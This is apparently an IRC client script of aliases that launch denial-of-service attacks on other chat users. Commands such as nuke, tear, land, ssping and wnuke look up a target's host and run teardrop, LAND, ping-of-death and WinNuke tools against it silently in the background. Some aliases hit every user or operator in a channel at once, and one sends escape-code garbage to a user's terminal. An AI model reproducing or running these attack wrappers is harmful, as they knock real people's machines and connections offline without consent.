alias nuke if ([$0]) {
	^local lport ${[$1]?[$1]:[6667]}
	^local hport ${[$1]>[$2]?[$1]:[$2]?[$2]:[6667]}
	if ([$[2]0] == [-d]) {
		^exec killall -9 sizzle 1>/dev/null 2>/dev/null &
		echo $G.fc ${hcyn}N${cy}uking${hblk}: ${cl}killing all running processes
	} elsif (chkhost($0) && isnum($lport) && isnum($hport)) {
		^stack push on who;^on ^who "*" {@ user.n = [$1];@ user.s = [$5];@ user.h = [$4]};^who $0;wait;^stack pop on who
		^exec $utils/sizzle '$user.s' '$lport' '$hport' '$user.h' 1024 3072 2 1>/dev/null 2>/dev/null &
		echo $G.fc ${hcyn}N${cy}uke  ${hblk}: ${hwht}$user.n ${hblk}\(${cy}$user.h${hblk}\)${cl}
		echo $G.fc ${hcyn}P${cy}orts ${hblk}: ${hcyn}$lport ${cy}to ${hcyn}$hport ${hblk}[${hcyn}1024 3072${hblk}]${cl}
		echo $G.fc ${hcyn}S${cy}erver${hblk}: ${cy}$user.s${cl}
	}{echo $G.fc ${hcyn}N${cy}uking${hblk}:${cl} invalid arguments}
}{eecho ${hwht}U${cl}sage${hblk}:${cl} /nuke <nick> [lport] [hport]}
alias tear if ([$0]) {
	^local nick $0
	^local port ${[$1]?[$1]:[6969]}
	if (tolower($0) == [+o]) {@ nick = [$remw($N $chops($C))]}
	if (tolower($0) == [-o]) {@ nick = [$remw($N $nochops($C))]}
	if (tolower($0) == [-a]) {@ nick = [$remw($N $chanusers($C))]}
	fe ($nick) user {
		if (port && chkhost($user) && (port <= 65535)) {
			^exec $utils/tear '$user.h' '$user.h' -s '$port' -t '$port' -n 25 1>/dev/null 2>/dev/null &
			echo $G.fc ${hcyn}T${cy}eardrop${hblk}: ${hwht}$user.n ${hblk}\(${cy}$user.h${hblk}\) ${cy}at port${hblk}: ${hcyn}$port${cl}
		}{echo $G.fc ${hcyn}T${cy}eardrop${hblk}:${cl} invalid arguments}
	}
}{eecho ${hwht}U${cl}sage${hblk}:${cl} /tear <+o|-o|-a|nick> [port]}
alias land if ([$0]) {
	^local nick $0
	^local port ${[$1]?[$1]:[6969]}
	if (tolower($0) == [+o]) {@ nick = [$remw($N $chops($C))]}
	if (tolower($0) == [-o]) {@ nick = [$remw($N $nochops($C))]}
	if (tolower($0) == [-a]) {@ nick = [$remw($N $chanusers($C))]}
	fe ($nick) user {
		if (port && chkhost($user) && (port <= 65535)) {
			^exec $utils/land '$user.h' '$port' 1>/dev/null 2>/dev/null &
			echo $G.fc ${hcyn}L${cy}anded${hblk}: ${hwht}$user.n ${hblk}\(${cy}$user.h${hblk}\) ${cy}at port${hblk}: ${hcyn}$port${cl}
		}{echo $G.fc ${hcyn}L${cy}anded${hblk}:${cl} invalid arguments}
	}
}{eecho ${hwht}U${cl}sage${hblk}:${cl} /tear <+o|-o|-a|nick> [port]}
alias sfuck if (C || Q || [$0]) {
	echo $G.fc ${hcyn}X${cy}ploiting${hblk}: ${hwht}$towho($0)${cl}
	^quote PRIVMSG $towho($0) :[2J3y3 4m g0dS jEsTEr$repeat(7 [$rand(99999999)C pHEAR mE2$%$&$%#$%&?@)
}{eecho ${hwht}U${cl}sage${hblk}:${cl} /sfuck [nick]}
alias flash if ([$0]) {
	^local nick $0
	if (tolower($0) == [+o]) {@ nick = [$remw($N $chops($C))]}
	if (tolower($0) == [-o]) {@ nick = [$remw($N $nochops($C))]}
	if (tolower($0) == [-a]) {@ nick = [$remw($N $chanusers($C))]}
	fe ($nick) user {
		if (chkhost($user)) {
			^exec $utils/flash '$user.f' 1>/dev/null 2>/dev/null &
			echo $G.fc ${hcyn}F${cy}lashed${hblk}: ${hwht}$user.n ${hblk}\(${cy}$fixat($user.f)${hblk}\)${cl}
		}{echo $G.fc ${hcyn}F${cy}lashed${hblk}:${cl} invalid arguments}
	}
}{eecho ${hwht}U${cl}sage${hblk}:${cl} /flash <+o|-o|-a|nick>}
alias ssping if ([$0]) {
	^local nick $0
	^local reps ${[$1]?[$1]:[250]}
	if (tolower($0) == [+o]) {@ nick = [$remw($N $chops($C))]}
	if (tolower($0) == [-o]) {@ nick = [$remw($N $nochops($C))]}
	if (tolower($0) == [-a]) {@ nick = [$remw($N $chanusers($C))]}
	fe ($nick) user {
		if (reps && chkhost($user) && (reps <= 65535)) {
			^exec $utils/ssping '$user.h' '$user.h' '$reps' 15 1>/dev/null 2>/dev/null &
			echo $G.fc ${hcyn}S${cy}spinged${hblk}: ${hwht}$user.n ${hblk}\(${cy}$user.h${hblk}\) ${hcyn}$reps ${cy}times${cl}
		}{echo $G.fc ${hcyn}S${cy}spinged${hblk}:${cl} invalid arguments}
	}
}{eecho ${hwht}U${cl}sage${hblk}:${cl} /ssping <+o|-o|-a|nick> [num of kills]}
alias wnuke if ([$0]) {
	^local nick $0
	if (tolower($0) == [+o]) {@ nick = [$remw($N $chops($C))]}
	if (tolower($0) == [-o]) {@ nick = [$remw($N $nochops($C))]}
	if (tolower($0) == [-a]) {@ nick = [$remw($N $chanusers($C))]}
	fe ($nick) user {
		if (chkhost($user)) {
			^exec $utils/wnuke '$user.h' 1>/dev/null 2>/dev/null &
			echo $G.fc ${hcyn}W${cy}innuked${hblk}: ${hwht}$user.n ${hblk}\(${cy}$user.h${hblk}\)${cl}
		}{echo $G.fc ${hcyn}W${cy}innuked${hblk}:${cl} invalid arguments}
	}
}{eecho ${hwht}U${cl}sage${hblk}:${cl} /wnuke <+o|-o|-a|nick>}
